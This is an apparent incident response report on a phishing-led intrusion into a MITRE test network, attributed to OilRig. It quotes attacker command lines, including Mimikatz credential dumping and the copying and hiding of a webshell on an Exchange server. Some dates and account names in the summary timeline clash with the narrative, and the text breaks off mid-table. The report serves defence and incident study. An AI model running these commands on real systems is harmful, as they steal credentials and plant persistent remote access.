The MITRE Corporation

Incident Response Report

Prepared by: Patrick Lee
Rapid7 Contacts

Consultant(s)

Patrick Lee
Senior Incident Response Consultant

Dan Kelly
Senior Incident Response Consultant

Ted Samuels
Lead Incident Response Consultant

Andrew Christian
Lead Detection & Response Analyst

Zach Paul
Principal Incident Response Consultant

Leadership Team

Robert Knapp
Manager, Incident Response Services

Warwick Webb
Senior Director, Detection & Response Services
## Executive Summary

- Incident Synopsis

## Incident Timeline

- **July 11th, 2022**
  - Initial Access
  - Execution of ‘GGMS Overview.doc’
  - Execution of ‘SystemFailureReporter.exe’
  - Discovery on ‘theblock’

- **July 12th, 2022**
  - Execution of ‘b.exe’
  - ‘Contact.aspx’ Webshell Creation

- **July 14th, 2022**
  - Discovery on ‘waterfalls’
  - Execution of ‘m64.exe’

- **July 15th, 2022**
  - Plink.exe from ‘theblock’
  - Mimikatz Execution on ‘waterfalls’
  - Lateral Movement to ‘endofroad1’
  - Data Exfiltration on ‘endofroad1’
  - Cleanup / Anti-Forensics

## Appendix A: Impacted Accounts and Assets

## Appendix B: Indicators of Compromise

## Appendix C: ‘GGMS Overview.doc’ Analysis

## Appendix D: ‘SystemFailureReporter.exe’ Analysis

## Appendix E: ‘b.exe’ Analysis

## Appendix F: ‘Contact.aspx’ Analysis

## Appendix G: ‘VMware.exe’ Analysis
Executive Summary

On July 11th, 2022, Rapid7’s Managed Detection and Response (MDR) service notified the MITRE Corporation (MITRE) of a high severity incident involving the domain administrator user account ‘gosta’ creating and executing a suspicious binary on the asset ‘theblock’. Rapid7 initiated the MDR incident response process to identify the extent of compromise within MITRE’s environment. To conduct the investigation, Rapid7 reviewed available real-time data from InsightIDR as well as forensic artifacts collected from in-scope systems. Furthermore, for the systems and accounts affected, Rapid7 provided containment and remediation recommendations to limit the scope and impact of this incident.

Incident Synopsis

Rapid7’s investigation determined that on July 11th, 2022, while accessing Outlook Web Access (OWA), the domain administrator user ‘gosta’ downloaded and opened an archive file containing a malicious Microsoft Word document, resulting in the installation of malware on the asset ‘theblock’ at 13:50:11 UTC. The malware established a scheduled network connection to a command and control (C2) server controlled by the malicious actor and performed requests for further instructions throughout the duration of the incident. Between 18:55:08 UTC and 19:00:08 UTC, the malicious actor leveraged the C2 server to conduct a series of early stage discovery commands on the asset ‘theblock’ in search of network information, privileged accounts, and additional assets to access via lateral movement.

On July 12th, 2022 at 14:59:42 UTC, the malicious actor executed additional malware on ‘theblock’ to extract credentials for the domain administrator user ‘gosta’. At 17:59:39 UTC, the malicious actor moved laterally from the asset ‘theblock’ to the Exchange server ‘waterfalls’ and established a persistence mechanism (known as a webshell) there.

Rapid7 observed the malicious actor interacting with the webshell on the asset ‘waterfalls’ as early as July 14th, 2022 at 14:15:53 UTC to run additional discovery commands. At 18:04:30 UTC, the malicious actor used the webshell to upload and execute a credential dumping tool on the Exchange server ‘waterfalls’. Rapid7 identified that credential hashes for multiple privileged user accounts were dumped to a file typically used for offline cracking.

On July 15th, 2022 at 13:47:58 UTC, the malicious actor exfiltrated data from ‘endofroad1’. Rapid7 identified that the contents of the exfiltrated files contained information about the locations of factories and industrial sites across the globe.

Rapid7’s investigation did not identify additional malicious activity following July 15th, 2022 and did not discover any evidence that the malicious actor accessed or compromised any other systems within the MITRE environment. Rapid7 attributes this incident to OilRig\(^1\), a suspected Iranian threat group, based on evidence identified during this investigation and available threat intelligence.

\(^1\)OilRig - https://attack.mitre.org/groups/G0049/
Incident Timeline

Figure 1 shows a high-level timeline of events prior to Rapid7’s investigation:

<table>
<thead>
<tr>
<th>Event Description</th>
<th>Date/Time</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Initial Access</strong> - Domain Administrator user ‘gosta’ executed a malicious Word document on their workstation, ‘theblock’, establishing a persistence mechanism and command and control (C2) channel for the malicious actor.</td>
<td>July 11th, 2022 13:48:53 UTC</td>
</tr>
<tr>
<td><strong>Credential Access</strong> - The malicious actor used the established C2 to execute malware on ‘theblock’, obtaining the stored credentials of the user Domain Administrator user ‘gosta’.</td>
<td>July 11th, 2022 14:59:42 UTC</td>
</tr>
<tr>
<td><strong>Credential Dumping with Mimikatz</strong> - The malicious user used the established webshell to execute Mimikatz and obtained the credentials of the Domain Administrator user ‘lous’.</td>
<td>July 11th, 2022 18:04:30 UTC</td>
</tr>
<tr>
<td><strong>Discovery / Enumeration</strong> - The malicious actor used the C2 persistence to execute commands on ‘theblock’ to discover network information, privileged accounts, and additional assets to access via lateral movement.</td>
<td>July 12th, 2022 18:55:08 UTC</td>
</tr>
<tr>
<td><strong>Webshell Creation</strong> - The malicious actor used the established C2 to copy a webshell to the exchange server, ‘waterfalls’, creating an additional method of persistence.</td>
<td>July 12th, 2022 17:54:39 UTC</td>
</tr>
<tr>
<td><strong>Data Exfiltration &amp; Anti-Forensics</strong> - The malicious actor used the established C2 persistence to tunnel into the SQL server, ‘endofroads’, and exfiltrated database backups via email. Rapid7 identified anti-forensic techniques to avoid detection.</td>
<td>July 14th, 2022 13:33:03 UTC</td>
</tr>
</tbody>
</table>

All times are in Universal Coordinated Time (UTC)
Remediation Recommendations

The following recommendations should be followed to remediate risk introduced by the malicious actor.

- **Rebuild compromised assets from a known-good baseline:** Manually removing malware or scanning with an updated antivirus solution may not fully restore the integrity of an asset. Due to this, Rapid7 recommended during the investigation to rebuild assets from a known-good baseline image or asset backup to counter any potentially undetected threats. To mitigate risk of undetected malicious payloads or persistence mechanisms, compromised assets must be rebuilt from known good media and should be up-to-date on patches. If unable to rebuild affected assets, MITRE should confirm the removal of files identified in Appendix B from all affected assets.

- **Block the malicious IP addresses and sinkhole domains outlined in Appendix A:** Rapid7 recommends implementing firewall rules to block communications to the remote assets and IP addresses listed in the report to prevent further interaction with malicious infrastructure. Rapid7 also recommends adding DNS entries (sinkholes) that point to non-routable IP addresses on local DNS resolvers for the malicious domains noted in this report.

- **Perform a password reset for all compromised user accounts outlined in Appendix A:** All users documented in Appendix A have been identified as compromised and should have their passwords reset to prevent further abuse of their access.

- **Ensure that the compromised Exchange Server, ‘waterfalls’, is rebuilt from a known good image and up-to-date on patches:** At the time of Rapid7’s investigation, the “WATERFALLS” server was last patched with Microsoft Exchange version 15.2.986.5 and is vulnerable to multiple known CVEs. Patch to the latest version, which at the time of this investigation, is 15.2.1118.9.
Mitigation Recommendations

The following recommendations should be followed to mitigate the risk of a similar event occurring in the future.

- **Configure email gateway to block password-protected zip attachments:** Rapid7 recommends enabling mail flow rules to provide granular inspection and control of email attachments. Mail flow rules leverage the 'AttachmentIsPasswordProtected' condition to identify and control attachments that are password protected. Mail flow rule detections work for all Office documents, .zip and .7z files.

- **Enable Windows Defender Credential Guard:** Implement Windows Defender Credential Guard to securely handle account passwords when remotely connecting to other assets in an environment. Credential Guard may be leveraged to prevent the extraction of credentials from memory. If Windows Defender Credential Guard is not implemented, privileged account credentials can be stored on destination assets and later acquired by threat actors. Additionally, it is recommended that users always gracefully log off from remoting sessions and do not exit out of them. Gracefully logging off a remote session allows proper removal of credentials from cache memory. Instructions to implement Windows Defender Credential Guard can be found at:

- **Require Separate Accounts for Administrative Tasks:** System administrators should have separate accounts for daily use and administrative tasks in an effort to reduce the risk associated with the compromise of a system administrator’s workstation. The administrative account should not be used to browse the Internet or check email.

- **Restrict Domain Administrator authentications:** Domain Administrator accounts should be restricted to only authenticate to Domain Controllers, blocking their access to authenticate to standard servers and user workstations. This will limit the caching of privileged credentials across endpoints that malicious actors can later dump. Such account control may be accomplished by grouping domain administrator accounts and Domain Controllers within Group Policy, while applying unique authentication policies to control asset access.

- **Configure Group Policy to disable Macros for Microsoft Office applications:** Rapid7 recommends leveraging Group Policy to block the enabling of macros on assets where
macros are not required. Within the applicable Group Policy Object, modify the Visual Basic for Applications (VBA) Macro Notification Settings to adjust macro settings.


- **Enable Attack Surface Reduction (ASR) rules**: Rapid7 recommends leveraging Group Policy to enable ASR rules across the environment. ASR helps prevent actions that malware often abuses within compromised devices and networks. ASR rules leverage Microsoft Defender to identify and prevent attacks such as common injection techniques, malicious scripts and macros.


- **Perform continuous vulnerability and remediation management**: Rapid7 recommends the integration of a comprehensive vulnerability management program. Vulnerability management programs assist organizations with identifying, evaluating, remediating and reporting vulnerabilities identified within an environment. An effective vulnerability management program will assist in ensuring assets remain patched and hardened against known vulnerabilities.


- **Enforce file integrity monitoring on all critical servers**: Rapid7 recommends enforcing File Integrity Monitoring (FIM) on all critical servers. FIM operates by examining various aspects of asset files to create a digital fingerprint of the asset and compares it to a known-good baseline. This comparison may then be leveraged to provide granular alerts based on identified activity. Within Azure environments, Microsoft Defender for Cloud provides a native FIM solution. For other environments, a third-party FIM solution is warranted.


- **Restrict file/folder permissions using Group Policy**: Rapid7 recommends leveraging Group Policy to apply Access Control Lists (ACL) to critical directories. Within Group Policy, users may be added to a group, with that group then being assigned specific directories which they may access. Such granular control over which directories groups may access will greatly diminish the ability for malicious actors to access sensitive directories and write malicious files.

  - [https://docs.microsoft.com/en-us/troubleshoot/windows-server/group-policy/give-users-access-group-policy-objects](https://docs.microsoft.com/en-us/troubleshoot/windows-server/group-policy/give-users-access-group-policy-objects)
- **Implement AppLocker policies to restrict the execution of unknown binaries**: Rapid7 recommends leveraging AppLocker policies to prevent the execution of unknown binaries across assets within the environment. AppLocker rules allow known and approved binaries (via publisher, path or file hash) to execute, while preventing unknown binaries. AppLocker may then be used as a form of binary allowlisting, ensuring only known and approved binaries may execute.
  
Incident Details

This section describes the malicious activity that Rapid7 discovered while investigating the compromise.

July 11th, 2022

**Initial Access | 13:48:00 UTC - 13:48:41 UTC**

On July 11th, 2022 at 13:48:00 UTC, the domain administrator account ‘gosta’ opened a Microsoft Edge browser on the asset ‘theblock’ and logged in to the ‘gosta@boom.box’ mailbox using Outlook Web Access (OWA). At 13:48:41 UTC, the ‘gosta’ account downloaded a suspicious password protected archive file called ‘Marketing_Materials.zip’ to ‘C:\Users\gosta\Downloads’. The archive file was downloaded from the domain ‘shirinfarhad[.]com’.

While these events strongly suggest that the user ‘gosta’ may have been a victim of a phishing attack, Rapid7 would need access to the user’s email messages in order to determine conclusively that the malicious download link was contained within an email.

<table>
<thead>
<tr>
<th>Timestamp (UTC)</th>
<th>Source</th>
<th>Event</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2022-07-11 13:47:00</td>
<td>Process Start</td>
<td>&quot;C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe&quot; --profile-directory=Default</td>
<td>‘gosta’ opens Microsoft Edge browser on ‘theblock’</td>
</tr>
<tr>
<td>2022-07-11 13:48:36</td>
<td>DNS</td>
<td>QueryName: shirinfarhad[.]com</td>
<td>QueryResults: 192.168.0.5</td>
</tr>
</tbody>
</table>

Table 1 - Initial Access Timeline

Rapid7 identified that ‘Marketing_Materials.zip’ contains a file named ‘GGMS Overview.doc’, which contains obfuscated VBA Macro\(^2\) code that executes upon file opening and closure via the ‘Document_Open’ and ‘Document_Close’ functions, assuming that macros are enabled.

Forensic analysis of the extracted macro code revealed that the primary functions for ‘GGMS Overview.doc’ is to drop a malicious payload on disk and to create a scheduled task to execute the payload every five minutes while the ‘gosta’ user is interactive on ‘theblock’. Additional analysis details for the malicious VBA code functions can be found in Appendix C.

Evidence indicates that at 13:49:25 UTC, the ‘gosta’ account opened ‘GGMS Overview.doc’ via Microsoft Word and executed the embedded macros, which subsequently resulted in writing the following files to disk on ‘theblock’:

<table>
<thead>
<tr>
<th>File</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>C:\Users\gosta\AppData\Local\t.txt</td>
<td>Tests directory write permissions</td>
</tr>
<tr>
<td>C:\Users\gosta\AppData\Local\SystemFailureReporter\update.xml</td>
<td>Contains the string ‘test’</td>
</tr>
<tr>
<td>C:\Users\gosta\AppData\Local\SystemFailureReporter\b.doc</td>
<td>Base64 encoded payload</td>
</tr>
</tbody>
</table>

Table 2 - ‘GGMS Overview.doc’ File Creation Events

File system artifacts indicate that as a result of the macro execution, ‘b.doc’, which contains the malicious payload, was renamed to ‘SystemFailureReporter.exe’ and ‘t.txt’ was deleted.

<table>
<thead>
<tr>
<th>Timestamp (UTC)</th>
<th>Source</th>
<th>Event</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2022-07-11 13:49:25</td>
<td>Process Creation</td>
<td>‘C:\Users\gosta\AppData\Local\Temp\Temp1_Marketing_Materials.zip\GGMS Overview.doc’</td>
<td>winword.exe executes ‘GGMS Overview.doc’</td>
</tr>
<tr>
<td>2022-07-11 13:50:11</td>
<td>Sysmon</td>
<td>File Creation: C:\Users\gosta\AppData\Local\t.txt</td>
<td>winword.exe creates ‘t.txt’</td>
</tr>
<tr>
<td>2022-07-11 13:50:11</td>
<td>MFT</td>
<td>Folder Creation: C:\Users\gosta\AppData\Local\SystemFailureReporter\</td>
<td>winword.exe creates ‘SystemFailureReporter’ folder</td>
</tr>
<tr>
<td>2022-07-11 13:50:11</td>
<td>MFT</td>
<td>File Creation: C:\Users\gosta\AppData\Local\SystemFailureReporter\update.xml</td>
<td>winword.exe creates ‘update.xml’</td>
</tr>
<tr>
<td>2022-07-11 13:50:11</td>
<td>Sysmon</td>
<td>File Creation: C:\Users\gosta\AppData\Local\SystemFailureReporter\b.doc</td>
<td>winword.exe creates ‘b.doc’</td>
</tr>
<tr>
<td>2022-07-11 13:50:11</td>
<td>MFT/USN</td>
<td>File Creation/Rename: C:\Users\gosta\AppData\Local\SystemFailureReporter\SystemFailureReporter.exe</td>
<td>winword.exe renames ‘b.doc’ to ‘SystemFailureReporter.exe’</td>
</tr>
<tr>
<td>2022-07-11 13:50:11</td>
<td>Sysmon</td>
<td>File Deletion: C:\Users\gosta\AppData\Local\t.txt</td>
<td>winword.exe deletes ‘t.txt’</td>
</tr>
<tr>
<td>2022-07-11 13:58:54</td>
<td>Sysmon</td>
<td>File Deletion: C:\Users\gosta\AppData\Local\Temp\Temp1_Marketing_Materials.zip\GGMS Overview.doc</td>
<td>file deletion via Explorer.exe by user ‘gosta’</td>
</tr>
</tbody>
</table>

Table 3 - ‘GGMS Overview.doc’ Execution Events

\(^2\) Macros - Macros are scripts embedded in Microsoft Office documents designed to automate legitimate Office tasks. Malicious actors evade defenses by hiding malicious code in macros and tricking unsuspecting victims into opening.
**Execution of ‘SystemFailureReporter.exe’ | 13:55:07 UTC**

At 13:55:07 UTC, approximately five minutes after file creation, ‘SystemFailureReporter.exe’ executed for the first time on ‘theblock’ as a result of a scheduled task. Rapid7 confirmed that the malicious macro created a scheduled task ‘SystemFailureReporter’ under ‘C:\Windows\System32\Tasks\’ to execute the ‘SystemFailureReporter.exe’ binary every five minutes and maintain persistence on ‘theblock’. Rapid7 identified that starting at 13:55:07 UTC, ‘SystemFailureReporter.exe’ made a network connection to the IP address ‘192.168.0[.]4’ via port 443.

Rapid7 acquired the ‘SystemFailureReporter.exe’ binary from ‘theblock’ and identified that it contains command and control (C2) functionality, including the ability to transfer files and execute arbitrary commands. Upon execution, this binary establishes a network connection to a C2 server controlled by the malicious actor and performs requests for further instructions. Additional analysis details surrounding ‘SystemFailureReporter.exe’ can be referenced in Appendix D.

<table>
<thead>
<tr>
<th>Timestamp (UTC)</th>
<th>Source</th>
<th>Event</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2022-07-11 13:55:07</td>
<td>Sysmon</td>
<td>Network Connection - SourceIp: 10.1.0.5</td>
<td>Network connection to 192.168.0[.]4 established</td>
</tr>
<tr>
<td></td>
<td></td>
<td>SourceHostname: theblock.boom.box</td>
<td>DestinationIp: 192.168.0.4</td>
</tr>
</tbody>
</table>
| 2022-07-11 13:55:07 | Event Logs | Scheduled Task Created - C:\Windows\System32\Tasks\SystemFailureRepor
ter | ‘SystemFailureReporter’ scheduled task created |
| 2022-07-11 13:55:07 | Process    | C:\Users\gosta\AppData\Local\SystemFailureReport
er\SystemFailureReporter.exe | First execution of ‘SystemFailureReporter.exe’ via scheduled task |
|                 | Creation   | ParentCommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule |                                                   |

**Discovery on ‘theblock’ | 18:55:08 UTC - 19:00:08 UTC**

Between 18:55:08 UTC and 19:00:08 UTC, the malicious actor leveraged the established C2 connection to 192.168.0[.]4 on ‘theblock’ to conduct a series of discovery commands and acquire additional details about the compromised asset, as well as other users and assets within the MITRE environment. Below is a list of discovery commands executed:

- `whoami`
- `hostname`
- `ipconfig /all`
- `net user /domain`
- `net group /domain`
- `net group "domain admins" /domain`
- `net group "Exchange Trusted Subsystem" /domain`
- `net accounts /domain`
net user
group administrators
netstat -an
tasklist
sc query
systeminfo
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"
net user gosta /domain
net group "SQL Admins" /domain
nslookup WATERFALLS
net user gosta /domain
net1 user gosta /domain
net1 group "SQL Admins" /domain
net1 group "domain admins" /domain
nslookup WATERFALLS
mstsc.exe
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"
net1 group "domain admins" /domain

These commands suggest that the malicious actor was performing early stage discovery in search of network information, privileged accounts, and additional assets to access via lateral movement.

<table>
<thead>
<tr>
<th>Timestamp (UTC)</th>
<th>Source</th>
<th>Event</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2022-07-11 18:55:08</td>
<td>Sysmon</td>
<td>Process Creation</td>
<td>Discovery commands</td>
</tr>
<tr>
<td></td>
<td></td>
<td>cmd.exe /c whoami &amp; hostname &amp; ipconfig /all &amp; net user /domain 2&gt;&amp;1 &amp; net group /domain 2&gt;&amp;1 &amp; net group &quot;domain admins&quot; /domain 2&gt;&amp;1 &amp; net group &quot;Exchange Trusted Subsystem&quot; /domain 2&gt;&amp;1 &amp; net accounts /domain 2&gt;&amp;1 &amp; net user 2&gt;&amp;1 &amp; net localgroup administrators 2&gt;&amp;1 &amp; netstat -an 2&gt;&amp;1 &amp; tasklist 2&gt;&amp;1 &amp; sc query 2&gt;&amp;1 &amp; systeminfo 2&gt;&amp;1 &amp; reg query &quot;HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default&quot; 2&gt;&amp;1 2&gt;&amp;1</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Timestamp (UTC)</th>
<th>Source</th>
<th>Event</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2022-07-11 19:00:08</td>
<td>Sysmon</td>
<td>Process Creation</td>
<td>Discovery commands</td>
</tr>
<tr>
<td></td>
<td></td>
<td>cmd.exe /c net user gosta /domain 2&gt;&amp;1 &amp; net group &quot;SQL Admins&quot; /domain 2&gt;&amp;1 &amp; nslookup WATERFALLS 2&gt;&amp;1 2&gt;&amp;1</td>
<td></td>
</tr>
</tbody>
</table>

*Table 5 - Discovery commands executed on 'theblock'
July 12th, 2022

**Execution of `b.exe` | 14:59:42 UTC - 15:04:40 UTC**

On July 12th, 2022 at 14:59:42 UTC, the malicious actor leveraged the C2 server to instruct `SystemFailureReport.exe` to create the binary `C:\Users\gosta\AppData\Roaming\b.exe` on `theblock`. Approximately 5 minutes later at 15:04:39 UTC, `SystemFailureReport.exe` executed the following command under the context of the user account `gosta`:

```
cmd.exe /c C:\Users\gosta\AppData\Roaming\b.exe
```

Rapid7 acquired and analyzed `b.exe` and determined that the binary gathers credentials specifically from the Windows Credentials locker\(^3\) on the target asset. Rapid7 identified that `b.exe` has similar functionality to OilRig’s VALUEVAULT\(^4\) credential stealing malware. Additional analysis details for `b.exe` can be found in Appendix E.

The malicious actor executed `b.exe` at 15:04:40 UTC, which created a SQLite database file called `fsociety.dat` under `C:\Users\gosta\AppData\Roaming\`. The `fsociety.dat` file contains the following credentials for the `gosta` account:

- **Origin_url**: https://waterfalls.boom.box/
- **Username_value**: gosta@boom.box
- **Password**: <REDACTED>

<table>
<thead>
<tr>
<th>Timestamp (UTC)</th>
<th>Source</th>
<th>Event</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2022-07-12 14:59:42</td>
<td>Sysmon</td>
<td>File Creation - TargetFilename: C:\Users\gosta\AppData\Roaming\b.exe</td>
<td>‘SystemFailureReport.exe’ drops <code>b.exe</code> on ‘theblock’</td>
</tr>
<tr>
<td>2022-07-12 15:04:39</td>
<td>Process Creation</td>
<td>Child Cmd: C:\Windows\system32\cmd.exe /c C:\Users\gosta\AppData\Roaming\b.exe 2&gt;&amp;1</td>
<td>‘SystemFailureReport.exe’ executes <code>b.exe</code></td>
</tr>
<tr>
<td>2022-07-12 15:04:40</td>
<td>MFT</td>
<td>File Creation - C:\Users\gosta\AppData\Roaming\fsociety.dat</td>
<td><code>fsociety.dat</code> file created on ‘theblock’</td>
</tr>
</tbody>
</table>

\(^3\) **Windows Credentials locker** - In Windows 10, the Windows Credential Manager separates website credentials from application or network credentials in two lockers. Credentials from web browsers are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in a separate Windows Credentials locker.

\(^4\) **OilRig VALUEVAULT**
https://www.mandiant.com/resources/hard-pass-declining-apt34-invite-to-join-their-professional-network
‘Contact.aspx’ Webshell Creation | 17:54:39 UTC - 18:04:39 UTC

At 17:54:39 UTC, the C2 server instructed ‘SystemFailureReporter.exe’ on the asset ‘theblock’ to create a suspicious file called ‘contact.aspx’ under ‘C:\Users\Public’. Shortly after at 17:59:39 UTC, the malicious actor again used ‘SystemFailureReport.exe’ to copy ‘contact.aspx’ via SMB\(^5\) from ‘theblock’ to the Exchange server ‘waterfalls’ under ‘C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\exchweb\ews\’.  

```
cmd.exe /c copy C:\Users\Public\contact.aspx "\10.1.0.6\C$\Program Files\Microsoft\Exchange Server\V15\ClientAccess\exchweb\ews\" 2>&1
```

Rapid7 identified ‘contact.aspx’ to be a webshell\(^6\), which is a malicious script commonly used by malicious actors to maintain persistence on a compromised web server and remotely perform additional actions. Rapid7’s analysis of an acquired sample of ‘contact.aspx’ determined that it is capable of file transfer, file deletion, and executing arbitrary commands. The webshell was identified to be part of malware family ‘TwoFace’, which is known to be used by APT34. Additional analysis details surrounding ‘contact.aspx’ can be referenced in Appendix F.

At 18:04:39 UTC, the C2 server instructed ‘SystemFailureReporter.exe’ to set ‘contact.aspx’ as hidden on the asset ‘waterfalls’ and also to delete the copy of ‘contact.aspx’ on the asset ‘theblock’. Rapid7 observed execution of the following command on the asset ‘theblock’:

```
cmd.exe /c attrib +h "\10.1.0.6\C$\Program Files\Microsoft\Exchange Server\V15\ClientAccess\exchweb\ews\contact.aspx" & del C:\Users\Public\contact.aspx 2>&1
```

<table>
<thead>
<tr>
<th>Timestamp (UTC)</th>
<th>Source</th>
<th>Event</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2022-07-12 17:54:39</td>
<td>Sysmon</td>
<td>File Creation - TargetFilename: C:\Users\Public\contact.aspx</td>
<td>‘SystemFailureReporter.exe’ drops ‘contact.aspx’ on ‘theblock’</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Source: C:\Users\gosta\AppData\Local\SystemFailureReporter.exe</td>
<td></td>
</tr>
<tr>
<td>2022-07-12 17:59:39</td>
<td>Sysmon</td>
<td>Process Creation - cmd.exe /c copy C:\Users\Public\contact.aspx</td>
<td>‘SystemFailureReporter.exe’ copies ‘contact.aspx’ from the asset ‘theblock’ to the asset ‘waterfalls’ via SMB</td>
</tr>
<tr>
<td></td>
<td></td>
<td>&quot;\10.1.0.6\C$\Program Files\Microsoft\Exchange Server\V15\ClientAccess\exchweb\ews&quot; 2&gt;&amp;1</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Source: C:\Users\gosta\AppData\Local\SystemFailureReporter.exe</td>
<td></td>
</tr>
<tr>
<td>2022-07-12 17:59:39</td>
<td>MFT</td>
<td>File Creation - C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\exchweb\ews\contact.aspx</td>
<td>‘contact.aspx’ file creation on ‘waterfalls’</td>
</tr>
<tr>
<td>2022-07-12 18:04:39</td>
<td>Sysmon</td>
<td>Process Creation - cmd.exe /c attrib +h &quot;\10.1.0.6\C$\Program Files\Microsoft\Exchange Server\V15\ClientAccess\exchweb\ews\contact.aspx&quot;</td>
<td>‘SystemFailureReporter.exe’ sets ‘contact.aspx’ on asset</td>
</tr>
</tbody>
</table>

\(^{5}\) Server Message Block (SMB) - https://attack.mitre.org/techniques/T1021/002/

\(^{6}\) Webshell - https://attack.mitre.org/techniques/T1505/003/
<table>
<thead>
<tr>
<th>Time</th>
<th>Source</th>
<th>Event Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2022-07-12 18:04:39</td>
<td>Sysmon</td>
<td>File Deletion - TargetFilename: C:\Users\Public\contact.aspx</td>
</tr>
</tbody>
</table>

Table 7 - ‘contact.aspx’ events
July 14th, 2022

Discovery on 'waterfalls' | 14:15:49 UTC - 14:20:49 UTC

Rapid7 observed the malicious actor interacting with the 'contact.aspx' webshell on the asset 'waterfalls' as early as July 14th, 2022 at 14:15:49 UTC. Evidence indicates successful network logons by the 'gosta' user from the known C2 IP address 192.168.0[.]4 that correspond directly with successful inbound POST requests (Status Code: 200) to the 'contact.aspx' webshell.

Rapid7 observed process activity around the compilation of 'contact.aspx' occurring at 14:15:49 UTC, which is indicative of the malicious actor's initial use of the webshell. Between 14:15:53 UTC and 14:20:49 UTC, the malicious actor used the webshell to run the following discovery commands on 'waterfalls':

```
whoami
ipconfig /all
netstat -an
```

<table>
<thead>
<tr>
<th>Timestamp (UTC)</th>
<th>Source</th>
<th>Event</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2022-07-14 14:15:49</td>
<td>Sysmon</td>
<td>Process Creation - c:\windows\system32\inetsrv\w3wp.exe -ap &quot;MSExchangeServicesAppPool&quot; -v 'v4.0' -c 'C:\Program Files\Microsoft\Exchange Server\V15\bin\GenericAppPoolConfigWithGCServerEnabledFalse.config&quot; -a \pipe\isipma9a5f05c-6874-403a-bbcc-df58c7633ac9 -h &quot;C:\inetpub\temp\apppools\MSExchangeServicesAppPool\MSExchangeServicesAppPool.config&quot; -w &quot;&quot; -m 0</td>
<td>Compilation of 'contact.aspx' indicating first use of webshell</td>
</tr>
<tr>
<td>2022-07-14 14:15:49</td>
<td>Sysmon</td>
<td>Process Creation - Child Cmd: &quot;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe&quot; /noconfig /fullpaths @&quot;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\ews\82ced47d\9f9837fe\e2n5kfwt.cmdline&quot;</td>
<td>CSC.exe process activity indicative of initial access to 'contact.aspx' webshell</td>
</tr>
<tr>
<td>2022-07-14 14:15:53</td>
<td>Process Creation</td>
<td>Child Cmd: &quot;cmd.exe&quot; /c whoami</td>
<td>Parent Cmd: c:\windows\system32\inetsrv\w3wp.exe</td>
</tr>
</tbody>
</table>
Table 8 - First usage of ‘contact.aspx’ webshell to conduct Discovery

### Execution of ‘m64.exe' | 18:04:30 UTC - 18:12:24 UTC

At 18:04:30 UTC, the malicious actor used the ‘contact.aspx’ webshell on the asset ‘waterfalls’ to upload ‘C:\Windows\Temp\m64.exe’. Rapid7 identified that the binary ‘m64.exe’ is a renamed version of Mimikatz\(^7\), a credential stealing malware.

Approximately 3 minutes later at 18:07:02 UTC, the malicious actor used the webshell ‘contact.aspx’ to execute the renamed Mimikatz binary ‘m64.exe’ and gather user account hashes with the following parameters:

```
privilege::debug sekurlsa::logonPasswords
```

An output file, ‘C:\Windows\Temp\01.txt’, was subsequently written to disk. The contents of ‘01.txt’ showed successful collection of the hashes for the following accounts:

```
BOOM.BOX\HealthMailboxf418803b1c7b45429fec8ecb42271dd0
BOOM.BOX\tous
BOOM.BOX\WATERFALLS$
WATERFALLS\patchadmin
```

Based on available evidence, Rapid7 did not find definitive evidence of the malicious actor exfiltrating the Mimikatz output file, ‘01.txt’. However, the ‘contact.aspx’ webshell has the capability to transfer data, and at 18:09:25 UTC, the webshell received a successful ‘POST’ request. The password hashes, in the possession of the malicious actor, would allow for offline password cracking. As such, Rapid7 recommends these accounts be considered compromised.

At 18:12:24 UTC, the malicious actor used the webshell, ‘contact.aspx’, to delete both the ‘m64.exe’ binary and the output file, ‘01.txt’ from disk.

### Table 8 - First usage of ‘contact.aspx’ webshell to conduct Discovery

<table>
<thead>
<tr>
<th>Timestamp (UTC)</th>
<th>Source</th>
<th>Event</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2022-07-14 18:04:30</td>
<td>Sysmon</td>
<td>File Creation - TargetFilename: C:\Windows\Temp\m64.exe</td>
<td>Source: w3wp.exe creates renamed Mimikatz binary on ‘waterfalls’</td>
</tr>
</tbody>
</table>

\(^7\) [Mimikatz](https://attack.mitre.org/software/S0002/)
<table>
<thead>
<tr>
<th>Time</th>
<th>Event Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Network logon for user 'gosta' from C2 IP address 192.168.0[.]4</td>
</tr>
<tr>
<td>2022-07-14 18:07:02</td>
<td>Process Creation</td>
<td>cmd.exe /c C:\Windows\Temp\m64.exe privilege:debug sekurlsa::logonPasswords exit 1&gt; C:\Windows\Temp\01.txt</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Network logon for user 'gosta' from C2 IP address 192.168.0[.]4</td>
</tr>
<tr>
<td>2022-07-14 18:12:24</td>
<td>Process Creation</td>
